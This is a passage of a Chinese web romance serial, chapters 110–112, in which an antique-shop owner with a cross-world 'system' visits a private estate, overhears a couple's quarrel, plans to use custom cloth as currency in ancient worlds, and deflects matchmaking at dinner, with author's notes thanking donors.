“失礼失礼，孟某照顾不周。萧老板，咱们加个联系方式吧，到时候约个时间。” 萧妧妧没说什么呢，孟有树自觉改口，噼里啪啦说了一长串，语气态度大变样。 萧妧妧无措地愣住，应付不来热情的孟有树。 黎行聿解围：“我组个群聊吧，正好我也想见见孟董念念不忘的寿瓶。” 孟有树眼巴巴瞅着，看到三人小群跳出来，总算放心。 “来来来，咱们继续逛，后面是我们一家子搜罗来的字画。”孟有树好像一下子注入了活力，“萧老板开古董铺，肯定见过不少好东西，您看看我这字画如何？” 萧妧妧哪懂什么字画啊，还没学到这里呢。 她和先前一样，微笑应对，沉默着欣赏，偶尔和黎行聿小声蛐蛐两句。 孟有树却不放过她，时不时点她一下，想听她点评，热情得有些过头。 后半截展厅萧妧妧根本没心思仔细看，光想着怎么不崩人设了，好在有黎行聿帮忙，他好像很擅长应对这样的热情。 “时间不早了，我在旁边餐厅订了包间，黎总和萧老板赏个脸？” 逛到最后，比萧妧妧预估的结束时间要早许多，刚好卡在午饭的点。 她望了望黎行聿，等他开口。 萧妧妧有自知之明，可不认为孟有树的好客是为了寿瓶。 “不巧，中午已经和萧老板有约，下次吧。”黎行聿嗓音淡淡，婉拒了他的邀请。 孟有树视线来回转了一圈，一拍脑门：“是我没眼色了。” 他朗声笑化解尴尬，寒暄几句送两人离开。 “不虚此行啊。” 参观结束，回到车上，前往预约好的餐厅，车子一启动，萧妧妧绷不住了，一下子瘫倒在椅背上，长舒一口气，发出了意义不明的感叹。 “恭喜萧老板开拓新客户。”黎行聿看她要死不活的样子，好笑地递去一瓶水。 萧妧妧有气无力地说：“谢谢你啊，要不是你，我真扛不住。他是我遇见的人里，热情度能排进前三的。” 要不是当着黎行聿的面，萧妧妧更愿意把热情换成殷勤，再难听点，可以换成逢迎讨好。 黎行聿：“他应该误会了什么。” 萧妧妧疑惑接话：“误会什么了？” 话音顿了顿，黎行聿偏头，目光灼灼地盯着她的侧脸，“……我们的关系。” 萧妧妧反应了一会才意识过来，狐狸眼瞬间瞪得圆溜溜，鼓着脸颊吐槽：“是我理解的那个意思吗？一起看展而已，他可真敢想。” 一男一女走在一起就一定是CP吗？ 萧妧妧复盘一会，自觉没有做出令人误会的亲密举动。 正犹豫着要不要向黎行聿说一声抱歉，他低沉嗓音传来。 “是，也不全是，他大概把你的古董店当成黎家在运作。” 萧妧妧摸摸头，迟疑着说：“所以，孟先生认为我背后有大老板？而那个老板，他以为是你？” 黎行聿：“可以这么说。” 萧妧妧郁闷皱眉：“好像……还是被小看了。” 有点不爽，年纪轻怎么了？难道不能是她自己有本事吗？ 虽然这个“本事”确实离不开系统的帮忙，但还是很不爽。 萧妧妧狠狠拧瓶盖发泄，却发现轻松打开，发泄失败。 “正相反，在我看来，是你的优秀突破了他的认知。孟有树接受到的信息量大多如此，因此刻板的将自己推导出的结论套在你身上。”黎行聿安慰道：“不用在意他的看法。” “低情商发言：他看不起我；高情商发言：我太优秀了。黎行聿你说话真好听，真的。” 换种说法，听感完全不同，虽然事实没有改变，但萧妧妧的心情大不一样了。 反复回味那句“突破他认知的优秀”，萧妧妧暗爽不已，尾巴快翘上天，抱着矿泉水咕嘟咕嘟掩饰自己翘起的嘴角。 黎行聿轻笑一声：“等他见识过你的古董铺，就会改变自己的想法了。” 萧妧妧眼珠子骨碌碌转，暗自决定把原定的看货时间推后一天，好让再她准备准备。 她要拿出压箱底的宝贝，非惊掉孟有树眼珠子不可。 餐厅是黎行聿提前预订，萧妧妧说好要请回去，刚好找到了机会。 虽说他做主选定，却也考虑了萧妧妧的口味。 环境清幽，菜品惊艳，还有乐团演奏，除了餐厅生意不好，冷清到只有他们这一桌，害得她不敢大声说话，挑不出一点毛病。 萧妧妧记下店名和地址，畅想着哪天打开位面互通的权限后，她带苏娇娇再来一次。 用餐之余可以俯瞰南市，很适合感受后世的繁华昌盛。 胡思乱想着，萧妧妧没注意太多，反正黎行聿提前告知过行程，完全不需要她操心，只管跟着走就好。 而接下来的行程，萧妧妧充满了期待。 尤其从魏钦那里听说，他设宴的地方属于黎家的私人庄园，设有农场牧场马场和休闲区，和度假村没什么区别。 哪怕不对外开放，甚至一年到头没几个人过去看一眼，依旧打造了一个令人惊艳的私家花园。 但她没想到，去往所谓庄园的路需要坐直升机。 从餐厅出来直达顶楼停机坪，萧妧妧惊讶的合不拢嘴。 “需要茶苯海明吗？”黎行聿招手，示意一个不知道哪里冒出来的西装男去取东西。 萧妧妧连忙摇头拒绝，庆幸自己不恐高也不晕机。 “有点吵，忍耐一会。” 黎行聿曲起胳膊，先扶萧妧妧进机舱，他紧跟着上去，递来降噪耳机。 萧妧妧第一次坐直升机，好奇打量内部，直升机起飞后，她几乎扒在窗上俯瞰整座城市。 这个角度可真稀奇。 看得入神，肩膀被人戳了两下，萧妧妧回头，对上黎行聿的目光。 “要帮你拍照吗？” 萧妧妧眼睛一亮，十分意动。 她双手合十表示感谢，然后侧了侧身子，比出一个土土的剪刀手，美滋滋拍照。 果然没选错衣服，随手一拍就很出片。萧妧妧满意极了，给黎行聿一个大拇指。 一会看看景，一会拍拍照，不知不觉，半个多小时过去，直升机准备降落。 萧妧妧抬手遮在额头，走下机舱，眺望无边的碧蓝和波浪般起伏的绿，极具艺术感的房子藏在蓝与绿中。 她哇了一声，发出没见过世面的惊叹。 直到他们在庄园管家的带领下走进庄园深处。 萧妧妧远远看见，相连的长廊下，一男一女相对而立，走近些终于确认是云昭昭和傅问。 而黎行墨，他黑着一张脸，双手插兜站在长廊尽头。 哦嚯，可以吃瓜了。 【作者有话说】 哦嚯，我想吃营养液了：D 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“清若”,灌溉营养液 +1 感谢读者“梦野久酢”,灌溉营养液 +20 感谢读者“只喝露水”,灌溉营养液 +30 感谢读者“小露珠”,灌溉营养液 +1 感谢读者“又是攒不了文的一天”,灌溉营养液 +1 感谢读者“大大很帅”,灌溉营养液 +1 110 第110章 ◎吃瓜失败◎ 萧妧妧拉住黎行聿往一边躲,免得闯进修罗场。 或许她行为过于鬼祟，没等他们彻底转身，长廊中的三人先后发觉他们的存在。 傅问颔首打招呼，云昭昭欢快地跑来,乖巧叫一声“黎先生”,然后抱住萧妧妧的胳膊。 吃瓜失败,萧妧妧转而问：“你们怎么在这里？” 云昭昭故意落后两步,离黎行聿远了些，低声和萧妧妧蛐蛐：“都怪学长,他心血来潮说要出来玩，还自作主张帮我请假。” 云昭昭招架不住黎行墨缠磨,昏昏欲睡的时候稀里糊涂答应了，第二天刚睡醒,她几乎是被黎行墨扛着上的直升机。 两人抵达庄园才从管家那里得知，庄园今天要招待客人,魏先生借地方做东。 黎行墨傻眼了,云昭昭一看到地方猜到他在打小算盘,倏然松了一口气。 计划完全打乱,黎行墨这时打算换地方,云昭昭当然不愿意让他得逞，强硬表示愿意留下 平时工作很累，难得有机会在风景绝美的户外活动，云昭昭说什么也不想再坐直升机回去了,大不了避着点客人就是了，反正这里大得望不到头。 黎行墨眼睛骤然放光,想到什么似的,帅脸通黄,有客人似乎并不全是坏事。 结果就是现在这样，云昭昭意外得知魏先生招待的客人有萧妧妧，还有她想找机会表达谢意的傅问。 “你们已经说清楚了？” 萧妧妧慢悠悠走着，其实恨不得找个有空调的地方躺着，再抓一把瓜子。 云昭昭重重点头，笑容轻松：“其实那天在店里，傅教授就觉得我面熟，只是他没打算和我有交集。” 于他而言，不过顺手的事，多年后再遇，不该过多打扰，一切随缘。 云昭昭感念他的恩情，总想当面说一声谢，恰好有了这次机会。 萧妧妧弄清来龙去脉，失望地瞥向仍旧黑脸的黎行墨。 看热闹不嫌事大，萧妧妧挺想看他们扯头花。 黎行墨和季随之间，两人像随时能干起来的样子，不过和傅问有点难说。 不疾不徐走到长廊尽头，云昭昭没有一点心虚的情绪，见到黎行墨脸蛋红了片刻，扭扭捏捏靠近他。 神奇的是，黎行墨瞬间柔和了面容。 脸色看起来依然臭得很，但是态度明显软化，甚至不着痕迹地斜瞥傅问。 这就哄好了？ 萧妧妧啧啧摇头，真没意思。 管家在前面带路，领萧妧妧先去客房休整，等待晚餐，以及魏钦。 云昭昭甩开黎行墨，说什么都要和萧妧妧一起。 当着黎行聿的面，黎行墨不敢太放肆，偷偷瞪了云昭昭两眼。 两人手拉手进了客房，快乐地跳上松软大床，侧头，落地床外有花园，头顶飘来两坨棉花糖一样的白云。 正是一天中最热的时候，阳光慷慨地洒落，目之所及全部镀上一层灿金色。 “完全像是在度假嘛。”萧妧妧在大床扑腾一会，撑起脑袋，望向窗外发呆。 云昭昭这会突然想起来问：“对了，妧妧姐，你怎么和黎先生一起过来？” 萧妧妧看着白云悠悠，本来不太困的，意外产生了睡意，打了个呵欠。 “哦，我们啊，中午吃了个饭，顺路过来了。” 云昭昭敬佩不已：“妧妧姐真厉害，敢和黎先生一起吃饭，我连和他大声说话都做不到。” 萧妧妧不以为然地嘟囔：“上午还顺便看了展览呢，有什么可厉害的。” 云昭昭越发崇拜她，凑过来说：“难道你不觉得面对黎先生非常有压力吗？” 萧妧妧摸不着头脑：“压力？我只在面对数学老师的时候产生过。” 压力没有，但是西装革履的黎行聿确实有威严感，她会不自觉地拘谨。 “其实黎行聿是个好人。”萧妧妧总结道：“连自己的狗子都愿意借的好人。” 云昭昭当然知道他是好人，可一直冷着脸，怎么敢靠近，巴不得躲远远的。 她刚要问借狗是怎么回事，一扭头，身边传来平缓的呼吸声。 云昭昭看一眼手机，下午两点，睡午觉的好时间。 想提醒萧妧妧没卸妆，见她睡得香，云昭昭只能放弃。 空调开到适宜温度，她平躺回床上，盯着外面花园发呆，幸福的感觉在这一瞬笼罩了全身，不知不觉微笑着沉入睡眠。 四点不到，客房叫醒服务惊醒了她们。 两人先后睁开眼，迷迷瞪瞪半天，好一会才缓过神爬起。 萧妧妧懊恼地嗷了一嗓子，她终于想起自己忘记卸妆。 背包里翻找出化妆品和防晒，匆匆跑去卫生间，先卸妆，再重新化。 快速收拾好自己，萧妧妧拉着云昭昭坐下，给她也撸了一个元气少女妆容。 出门的时候时间刚好，夕阳斜斜挥洒，半边天空呈现灿烂的粉橙调，萧妧妧不禁联想到她的帕帕拉恰。 用日落色形容宝石，可太正确了。 “萧小姐云小姐这边请，先生和魏先生在马场。” 忙着为晚霞拍照时，工作人员主动上前引导。 两人边走边四处欣赏，好不容易走到门边，高尔夫车刚好停在她们面前， 马场距离庄园不远不近，中间会绕过人工湖泊和牧场，走路显然不现实，也不符合庄园的待客之道。 高尔夫车缓缓行驶，萧妧妧像土包子进城，掏出手机放大画面，对比着照片和实景，为自己肉眼看到的景象而震惊。 “这……真的不是旅游景区吗？” 云昭昭以为成片不同风格的建筑已经够超出想象了，深入庄园，哪知道还有更多闻所未闻的东西等着颠覆她的世界。 副驾座位的工作人员贴心介绍：“休闲农场位于城市近郊，总面积约有600亩，包含了有机农场、果园、马场……” 穿着全套职业装的小姐姐语气温柔，云昭昭和萧妧妧听得一愣一愣的。 萧妧妧忍不住在心里盘算，她得卖掉多少古董才能拥有一座属于自己的庄园。 庄园是口头说法，国内土地不存这个概念，更确切的说，叫综合休闲农场。 它无法私人拥有，通常以企业名义承包、投资、购买，用于私人社交或者开展一些农业项目。 讲究一些的人家，日常所需食物只选择自家农场的产出，或者从国外农场空运。 云昭昭咋舌，天真的问：“你是说，这里生产的瓜果蔬菜和肉，不对外出售？那它要怎么盈利？” 工作人员微笑：“农场产出纯私人用途，不考虑盈利呢。” 云昭昭半天说不出话，偏头和萧妧妧对视一眼，两人抿紧嘴巴，羡慕得眼睛发红。 等工作人员转过身，云昭昭小声和萧妧妧嘀咕：“如果我有这么多钱，我应该会比学长更霸道。” 难怪黎行墨看不上她那些兼职，动不动拿钱说事，催她辞职。 云昭昭泄气地垮下肩膀，他是真有钱，比她以为的有钱。 萧妧妧震惊过后，升起了满满的斗志，别墅算什么，她要去买海岛、买城堡，感受一下富豪的生活。 转头，没等她说出豪言壮语，萧妧妧察觉到云昭昭的情绪莫名低沉下来。 “没事，只是太热了。” 云昭昭笑容勉强，扯了个不走心的借口。 农场绿荫环绕，周围青山连绵，体感温度比市区稍低一些，此时正值夕阳西下的时刻，温度就更低一些了，微风吹着惬意得很。 萧妧妧挠挠头，见她不想说，放弃追问。 好在没多久，高尔夫车终于抵达目的地，停在马场入口。 萧妧妧抬眼一看，圈出来的平坦草地上，三人三马在飞驰。 走近一些，遮住迎面而来的光芒，萧妧妧认出了他们，是黎行聿和魏钦，慢悠悠在后面晃荡的是黎行墨。 他们也看到了围栏边的萧妧妧和云昭昭，黎行聿拉紧缰绳，狂奔的马十分配合地改变了方向，朝着她们而来。 黎行墨挥舞着胳膊，一踢马肚，加速赶来。 兄弟俩先后脱离队伍，魏钦懵逼了一会，撇撇嘴，拽住缰绳折返回去。 萧妧妧保持着手掌遮阳的姿势，眯起眼，隐晦地欣赏两个帅哥骑马而来的画面。 黎行聿换下了衬衫长裤，穿着一身适合骑马的运动装扮。 上衣湿漉漉贴着身体，勾勒出宽阔的肩膀、紧窄的腰线，修长有力的双腿轻松踩在脚蹬上。 骏马四蹄翻飞，渐渐靠近，萧妧妧欣赏得更方便了。 紧勒缰绳的手臂肌肉偾张，青筋在肌肤下起伏，随着上下颠簸，肌理紧实的胸肌若隐若现。 目光上移，细密汗珠汇成细流，顺着绷紧的下颌、脖颈，汇入领口深处。 要不是不妥当，此时的她应该会吹口哨。 “想试试吗？Peter是驯养过的运动马，很温顺。” 数米之外停下，徐徐前行至围栏边，黎行聿越发明显的感觉到萧妧妧投过来的视线，微不可察地扬起眉梢。 一人一马彻底停在她面前，黎行聿倾身，抚摸Peter的脑袋，发出邀请。 萧妧妧目光定定地落在他身上，夏风吹开黏在额前的碎发，露出晒得薄红的深邃面容。 金红的余晖描摹他的侧脸，蓬勃的力量和灼热的气息一起扑面而来。 被夸赞温顺的棕色大马低下脑袋，越过围栏主动往萧妧妧身上蹭。 萧妧妧迟钝回神，敷衍地抚摸两下，摇头拒绝了。 她在拍戏的时候学过一阵子，半吊子水平，长时间没接触，早忘到后脑勺了，何况她穿着裙子，不方便。 黎行聿闻言，翻身下马，缰绳交给马场的管理员，绕过栅栏走来。 这时，落后一截的黎行墨迟一步赶到，急停在围栏边，带起一阵风。 云昭昭吓得后退一步，黎行墨兴奋地伸出手。 “上来，我带你兜风。” 萧妧妧没心思去看黎行聿了，忍不住侧目偷瞄。 小黄文的男女主共骑一马，当她不知道后面会发生什么吗？ 云昭昭也想到了这一点，担心黎行墨曾经提过的戏言成真，警惕地观察一会，毫不犹豫地拒绝他。 “正好你们来了，一起回去。” 笃笃笃马蹄声没停下，魏钦的声音远远传来，打断了黎行墨要说的话。 距离原定的晚餐时间没多久，这时候回去不早不晚。 黎行墨的小心思无法实施，只得下马离开，缰绳丢给管理员，撑着栏杆翻出来，倒是先黎行聿一步。 三人在马场跑了几圈，一身汗，让她们稍等一会，转身去隔壁的白房子清理。 萧妧妧想趁机拍几张马吃草，研究构图的时候，一通电话打进来。 她下意识选择挂断，手指划到一半，萧妧妧突然想起来，这是布料厂的联系方式。 停顿几秒，萧妧妧接通了电话。 【作者有话说】 按理说应该还有半章内容一起贴上来，写到一半发现来不及，23点都不一定能写完整，先凑合看[捂脸偷看] 感谢大家的营养液，看到了新面孔，嘿嘿[撒花] 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“浮生若梦”,灌溉营养液 +10 感谢读者“本本本本肉”,灌溉营养液 +10 感谢读者“嘿嘿苹果酱”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 感谢读者“妧訢”,灌溉营养液 +12 感谢读者“大大很帅”,灌溉营养液 +3 感谢读者“芝麻汤圆”,灌溉营养液 +31 感谢读者“虫子太多好可怕”,灌溉营养液 +1 111 第111章 ◎古代位面的印钞机◎ “萧小姐,我们这里还有2000*米的青色麻布，您需要吗？我们可以给您打对折。” 萧妧妧刚一接通电话，那头的布料厂经理开门见山表明意向。 “打对折？为什么？” 上门推销的见过，没见过主动让利的,本来麻布就不贵,打对折更便宜了。 一听到打折,萧妧妧控制不住了,4000米不多，买了没什么,正好一起给苏娇娇送去。 “您别误会，是我们厂子不打算做下去了,最后几批货得赶紧清理掉，这不是仓库快到期了嘛。盘点的时候发现还有一点,我记着您挺需要的，过来问两句。” 经理话音客气礼貌,却能听出即将失业下岗的苦闷。 弄清楚原因,萧妧妧爽快同意买下。 经理惊喜不已,连声道谢：“谢谢萧小姐照顾生意,厂子效益不好,老板指望出掉库存给大家发遣散费，太感谢您了。” 萧妧妧一愣，脑海中灵光一闪，随即双眼放光。 “王经理,您家现在还能接单吗？大单。” 电话那头停滞了几秒，似乎在确认自己听到的内容。 几声喘息急促之后,王经理惊呼：“您要下单吗？当然可以,厂子没转让出去呢,工人都在岗，随时可以开工。您、您稍等啊。” 王经理噼里啪啦一长串话扔过来，说一声稍等，电话那头又安静下来，萧妧妧根本来不及询问。 等到对面有窸窸窣窣的动静，萧妧妧才继续道：“我需要仿古布料，仿绫罗绸缎丝绢麻布一类的，不需要完全一致，大差不差就好，您能办到吗？” “萧小姐您好，我是厂子的老板，我听到您的需求了，定制仿古布不是问题，但是吧，我们有最低的下单量，不然这个成本太高了，我们赔不起，您看……” 中年男人略显激动的颤抖声音传来，萧妧妧松了一口气，能仿就好。 怪她没把格局打开，尽想着金银古董，忽略了一件事。 在古代，金银、粮食、布帛都是硬通货。为防止铁钱外流，战乱时期，铜币短缺，布帛就是实物货币，可以流通于市场。 上到战争赔款、军队发饷，下到抵税、市集交易，用布帛充当货币再正常不过。 南朝时，甚至有明文规定一匹布当钱四百文。 萧妧妧一直知道布帛可以当钱用，但因为没在古代生活过，一直没能深刻的意识到这件事。 也就根本没想起来，她可以定制大量仿古布料，拿去给申明月、龙傲天他们当钱用。 换句话说，布料厂等于古代位面的印钞机。 尤其申明月，缺钱又缺人，仿古布料拿过去，简直和天降巨款没区别，比她费劲巴拉考察市场，进货浮光锦、琉璃等变现省事多了。 从成本来说，大量定制仿古布料，或许要更便宜一点，关键是方便。 随便换来点金子、翡翠、珠宝什么的，利润相当可观。 萧妧妧越想越觉得可行，懊悔地锤了锤脑袋，怎么早没想到定制布料这一步。 要不是这次帮苏娇娇采购麻布，萧妧妧想，她不知道还要犯多久的傻。 不过也不亏，布匹和琉璃、玉髓、水银镜，不是非彼既此的关系。 毕竟东西拿过去售卖，赚的是金银，布匹拿过去直接当银子使。都是钱，一样的赚。 都说授人以鱼不如授人以渔，如果仿古布料是鱼，那么改良的织布机则相当于渔。 有了渔，或许会影响鱼，但是扪心问，正常人面对渔和鱼一起摆在面前的机会，没人会二选一，当然全部拿下。 有赚钱法子和有很多很多钱，根本不是一码事。 萧妧妧想了想，她现在连找匠人都摸不着门路，完整拿出一台织布机短期内做不到。 最好的方式是偷懒，直接给织布机图纸，让古代人自己琢磨去，即便如此，也不是三两下能解决的事。 深思熟虑过后，萧妧妧觉得问题不大，肯定回应：“我需要的量非常大，到时候咱们面谈？” 她看到魏钦换了一身衣服出来，匆匆掐断话题。 布料厂老板的声音更加激动：“可以可以，萧小姐您方便的话，可以进厂子参观，我们随时欢迎。” 定制布料是她临时起意，许多细节需要回去商量。 比如申明月位面能当银钱使的布匹，是否有明文规定规格？流通最快的是麻布还是绢布，亦或是绫罗绸缎等？ 这些通通需要了解，最好可以弄来样布。 龙傲天那里或许又是一个标准，不能出错。 约定面谈时间的工夫，黎行墨出来了，略等一会，黎行聿也汇合过来。 萧妧妧挂断电话，就听到那边的打趣声。 “卧槽，老黎，你现在穿衣服这么骚？装模作样，看不起你。” “哥，要不你穿西装吧，看着怪怪的。” 萧妧妧循声看过去，黎行聿换了新一套衣服，不变的是服装风格。 宽松的浅色衣裤罩在身上，掩盖了结实身材，清冷矜贵又不失优雅。 云昭昭飞快地偷瞄一眼，小声凑过来说：“这样看，黎先生倒是没那么可怕了。虽然没见过他这么穿，不过真的很适合他。” 萧妧妧赞同的点头，这不挺好看的吗？ 她挑剔地瞥向魏钦，印满logo的运动束脚裤，除了质感好再没其他有点，怎么有脸嘲笑别人。 黎行聿整理着袖口走来，停在魏钦身侧，不着痕迹的给了好友一个肘击，顺便回应黎行墨。 “热，不想穿。” 魏钦不可置信地捂住腰腹，大声控诉：“老黎，你变了，你以前不是这样的。” 黎行聿配合的回应：“你要这么想我也没办法。” 魏钦再次低呼一声“卧槽”，凑上来惊奇的打量：“真不像你会说的话，你在跟我玩梗？” 萧妧妧噗的一声笑了，强忍着没提醒他，这是渣男语录来着。 高尔夫车接连来了两辆，载着他们一行人前往农场的另一端。 远远看见尖顶的全透明玻璃建筑，萧妧妧才知道为什么要把晚饭设在这里。 橙紫色调的晚霞映照，精心设计的私家花园，像极了童话故事里才会存在的美丽幻境。 没见过的花卉争相绽放，草地湿漉漉，散发青草和泥土的气息。 高尔夫车穿过蜿蜒花墙，停在花园中央，灯火通明的玻璃建筑全貌显现，萧妧妧哇了一声。 不愧是黎行墨选择的约会圣地，这里可真浪漫。 傅问先大家一步到达，等在门口招手示意，魏钦简单介绍了一下花园，把任务丢给黎行聿，自己溜走不知道忙什么去。 萧妧妧这里看看，那里转转，不舍得离开，黎行聿也很贴心，不仅没有催促，还提议去尖顶房另一侧的蔷薇迷宫。 萧妧妧确实好奇所谓的蔷薇迷宫长什么样，大迈步走在青石板小路上。 两人停在小路尽头，不远处是迷宫入口，看到蔷薇修剪出规整的墙，深处有喷泉，萧妧妧又哇了一声。 “云昭昭！你这个女人到底有没有心？” “兼职比我重要，低廉的比不上我一顿早饭钱的薪水也比我重要。” “现在呢？一个不知道哪里冒出来的男人都能超过我了？” 没等萧妧妧走近欣赏，迷宫花墙里突然爆发出大声的控诉。 这下是真吃到瓜了。 萧妧妧脚步一顿，折返回去未免可惜，继续走下去显然不合适，关键是，她想吃瓜，但有黎行聿在，不好表现出来。 迟疑着无法决定时，黎行墨又一次爆发。 “你说季随救了你，不能忘恩负义，我不说什么了，傅问难道也救了你？” “你没日没夜的兼职，说要赚钱攒学费，好啊，我给你转了500万，你又不肯收。” “我把你的事情排在第一位，你呢？” “给你发消息你不回，你说要上班。” “找你出去玩，你说你要陪小月亮，她身边三个保姆照顾，真的需要你吗？” “你担心我只是玩玩，我发朋友圈、带你去见我所有朋友，连我大哥都知道我们在一起了。” “你和我约会的时候从来不化妆，今天，你不仅化了妆，连头发也和以前不一样。你是不是早知道傅问在这里才不肯走？” 哦豁，看来这次是她的锅，害得黎行墨误会了。 “你说我霸道，我改了，不去管你那些破兼职。 我每天接你下班，你嫌弃影响不好，我改了。 我不开车，我骑路边那个丑得要死的自行车去接你。 你说我浪费，我也改了，我的生活习惯全为你改了一遍。” “云昭昭，你选我还是选他们？” “我不在乎别人的想法，我只想听你的答案。” 萧妧妧没憋住，双手合十高举头顶。 接！ 如果一定要谈恋爱，请赐一个有钱又舍得给她给花钱，身高185的恋爱脑超绝大帅哥，大接特接。 不愧是小黄文女主，萧妧妧迫切想为黎行墨献唱一首《过火》 黎行聿：？ 萧妧妧意识到自己做了奇怪动作，讪笑着放下胳膊。 她悄声说：“快快快，赶紧走。” 以她阅小黄文无数的经验来看，接下来的剧情不可描述，再不走可就尴尬了。 萧妧妧动作迅速，唰一下转身，迈着急切的小碎步，悄悄溜走。 黎行聿掏出手机敲击几下，跟着转身离开。 两人一前一后回到花园中央的花房餐厅，萧妧妧长舒一口气。 然后，她迟钝想起来应该关注一下黎行聿的态度。 吃瓜的不止她一人，不知道黎行聿会不会有别的看法。 “不会，感情的事外人不好插手，需要他们自己解决磨合。” 萧妧妧没想到自己不小心问出口，尴尬地笑了笑，悄声说：“真看不出来，你弟弟是个恋爱脑。” 黎行聿：“家族遗传，我爷爷、我爸，都是恋爱脑。” 萧妧妧缓缓偏头，古怪目光缓慢而隐晦地落在他身上。 黎行聿低头对上萧妧妧的视线，坦然说：“不出意外，我也是。” 萧妧妧：…… 【作者有话说】 感谢读者“22104947”,灌溉营养液 +1 感谢读者“智智智智慧的吖”,灌溉营养液 +11 感谢读者“小露珠”,灌溉营养液 +1 感谢读者“嘿嘿苹果酱”,灌溉营养液 +1 感谢读者“catle”,灌溉营养液 +1 感谢读者“藏月水寒”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 110-120 112 第112章 ◎章节获取失败◎ 魏钦精心准备了晚宴规格的招待,厨师和食材一样，选择国外空运过来，现场烹饪。 然而在场的人没人关心吃什么，大家的视线若有似无地飘向低气压的黎行墨。 准确的说,只有萧妧妧最关心,目光在黎行墨、云昭昭、傅问之间来回打转。 说不清是剧情安排还是水到渠成的巧合,意外得知黎行墨带着女朋友来农场约会,魏钦索性拉着大家一起，反正都认识,就当是聚餐。 好巧不巧，两人来得晚了些,云昭昭入座后，相当于夹在两人中间。 傅问因为坐在萧妧妧的左手边,是以她有非常好的视角可以吃瓜。 开席之后，魏钦提杯与大家寒暄,看起来不着调,实际长袖善舞,每个人都照顾到,抛去话题带动气氛。 唯独黎行墨,魏钦看出他心情不好，直接绕开他，和云昭昭聊起来。 云昭昭心不在焉，但好在还算配合,没有冷场。 大概是看在魏钦招待客人的份上，黎行墨没有做出失礼的事,只冷着脸不搭理云昭昭。 但萧妧妧观察了一会,事实大不一样。 云昭昭但凡敢把脑袋往傅问那里偏几度,黎行墨就得气鼓鼓，好像外接了一个只有云昭昭才能控制开关的打气筒。 萧妧妧转头看傅问，他倒是没什么反应。 “萧老板尝尝看，我特意从国外庄园调来的私酿，老黎一直很喜欢它。” 魏钦瞧出萧妧妧的沉默，主动搭话。 萧妧妧回神，工作人员恰好倒了半杯红酒，礼貌微笑，端起酒杯抿一口。 “对了，说起酒，我记得萧老板还是单身吧？”魏钦笑容满面，直接又突兀地改换话题。 萧妧妧举着酒杯的动作稍稍停顿，想不通红酒和单身有什么关系。 黎行聿侧头，目光定在了魏钦身上。 魏钦笑得更灿烂了，眼底全是幸灾乐祸的兴味。 “我表哥，傅问傅大教授，今年才30，长得一表人才，恰好也是单身，关键他常住南市，萧老板和他一定聊得来……” “嘎吱” 话未完全落音，餐具划刻餐盘的刺耳声音同时响起，在场所有人瞬间变了脸色。 魏钦若无其事地清清嗓子，温声道歉：“抱歉抱歉，失礼了，手抖没控制住。” 黎行墨玩味挑眉，目光在萧妧妧和傅问身上打量，很快转移视线去观察云昭昭的神情。 云昭昭闷闷地垂着脑袋，手上费力切牛排的动作倏然停止，看不清神态。 傅问一如既往地淡定，探究目光投向魏钦，眼底有疑惑。 他怎么不知道表弟改行当月老了？ 被表哥盯着，又被黎行聿警告了一回，魏钦心里乐开花，挺直脊背，坚持把话说完整。 “我的提议是不是很不错？问哥，萧老板，你们考虑考虑。” 萧妧妧懵了一瞬，扭头看看傅问，又去看云昭昭和黎行墨。 好家伙，本来是她吃别人的瓜，一不小心把自己牵扯进去了。 萧妧妧想着怎么应付，黎行聿淡淡接话：“你管得太宽了。” 有人帮忙，萧妧妧乐得自在，要不是不礼貌，她都想鼓掌附和。 魏钦依旧咧着嘴，笑得贱兮兮，意味深长地望着黎行聿。 “是吗？那太可惜了，我刚刚还想说，萧老板不喜欢我表哥这类型的，可以看看我们小墨……嗷！” 伴随魏钦的痛呼，萧妧妧一脸震惊。 他可真敢牵线，先是傅问再是黎行墨，逮着女主的男人薅。 难道他看不出来黎行墨和云昭昭才是一对？ 魏钦意识到自己表情扭曲，赶紧挂上笑容，“抱歉，腿抽筋。” 黎行墨抬眼：“钦哥，我看你是嘴抽筋了。” 魏钦狠狠斜了一眼黎行墨，这小子前面闷不吭声吓唬人，现在出来坏事。 瞪完黎行墨，魏钦注意力全放在黎行聿和萧妧妧身上。 傅问察觉到什么，来回扫视一眼，靠回椅背上，看魏钦要怎么做。 魏钦别提多兴奋了，一口闷下半杯酒，一副跃跃欲试的姿态。 “小墨马上大学毕业，嘶……”说到一半，魏钦突然停顿，再开口，话音变得艰涩：“我是说，够年轻，和萧老板又是同龄人，肯定有很多话题。” 萧妧妧不禁偏头，奇怪地看一眼魏钦，怎么说着说着咬牙切齿起来？ 魏钦好不容易说完，斜瞥身侧。 黎行聿面无表情，有一搭没一搭、状似随意地转着酒杯，杯沿映出他绷紧的下颌线。 呵，做作。 魏钦挑眉，他说什么来着，他的眼睛就是尺！三言两语就让他试探出来。 他越发来劲了，扬声说：“不然你看看我们老黎，今年虚岁29实岁28，成熟男人，正是风韵犹存的时候……嘶！” 深吸气，魏钦和缓语气改口：“正是男人最好的年纪，稳重有担当，完全是人中龙凤！要说缺点，那就是太忙了，手里管着两家公司，挂名的七八个……” 萧妧妧歪了歪头，冷不丁开口打断：“魏先生也是单身吗？” 魏钦愣了一会，不明所以点头。 萧妧妧微笑：“我觉得魏先生您就很不错，为什么不介绍介绍自己？” 魏钦傻眼，笑容陡然僵在脸上，慌张片刻，下意识去看黎行聿。 傅问发出一声轻笑。 云昭昭将信将疑的目光不断瞄向魏钦，又瞄向萧妧妧，最后暗暗评估起魏钦。 黎行墨气闷不已，连魏钦都能吸引她的注意。 黎行聿垂下的睫毛遮住骤然暗下去的眸光，杯底“笃”的一下磕在桌面。 魏钦唰一下起身：“我去厨房催催怎么上菜这么慢不知道我今天要招待客人吗真是太过分了！” 不带停顿地丢下一串话，话音没结束，人影已经到了门边。 萧妧妧摇头叹气：“魏先生年纪不小了，也没见多稳重。” 当她没听出来似的，魏钦就是故意起哄调侃。 黎行聿低声说：“他脑子不好，别放在心上。” 确实不好，旁边就有厨师在忙活，自己急吼吼躲出门去。 萧妧妧不好附和，也不想否认，微微笑回应他。 牛排这时依次送上桌，黎行聿见她苦恼地和刀叉做斗争，示意工作人员稍等，转而要接过萧妧妧的那份。 萧妧妧麻利地调换成自己顺手的方式，举起叉子扎进肉里，带起的发丝拂过他停滞在半空的胳膊。 